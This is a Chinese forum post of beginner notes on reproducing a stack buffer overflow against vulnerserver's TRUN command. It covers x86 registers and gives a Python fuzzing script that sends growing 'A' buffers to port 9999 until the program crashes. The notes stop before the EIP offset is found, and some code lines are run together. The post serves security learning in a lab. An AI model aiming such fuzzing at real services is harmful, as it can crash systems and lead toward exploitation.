-
-
[原创]小白的一次缓冲区溢出复现笔记
-
发表于:
2020-11-24 11:00
7807
-
缓冲区溢出的原因是程序中没有仔细检查用户输入的参数,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
通用寄存器:
AX(累加器)
BX(基址寄存器)
CX(计数器)
DX(数据寄存器) ;可以分8位使用。
指针及变址寄存器:
SP(堆栈指针寄存器)
BP(基址指针寄存器)
SI(源变址寄存器)
DI(目的变址寄存器)
IP(指令指针寄存器):用来存放下一条要执行指令在内存中代码段中的偏移地址。
重点:缓冲区溢出堆栈覆盖顺序为 EIP -> ESP,通过控制EIP的指针跳转到ESP执行我们精心构造的shellcode
漏洞软件:vulnserver 已知参数TRUN
调试软件:Immunity Debugger
辅助脚本:noma.py
kali
1,双击启动vulnserver,默认监听9999端口
2,通过脚本不断向目标程序发送数据,并查看寄存机的值
import socket
import syshost = "192.168.1.74"
port = 9999
buffer = ["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200for string in buffer:
print "fuzzing is %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send('TRUN /.:/' + string)
s.close()
从上图可以看到,当发送到5900个字符时程序崩溃,说明存在缓冲区溢出
内存中都是以十六进制显示字符,由于字符“A”对应的十六进制为41,上图可以看到,我们发送的超长字符已经成功覆盖EIP和ESP,接下来需要精确找到是第多少个字符覆盖了EIP,我们需要控制他。
由于我们之前生成的字符全部是A,不知道是第几个A覆盖了EIP,我们要生成不重复序列,精确定位EIP位置
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2020-11-24 11:02
被半杯凉茶编辑
,原因: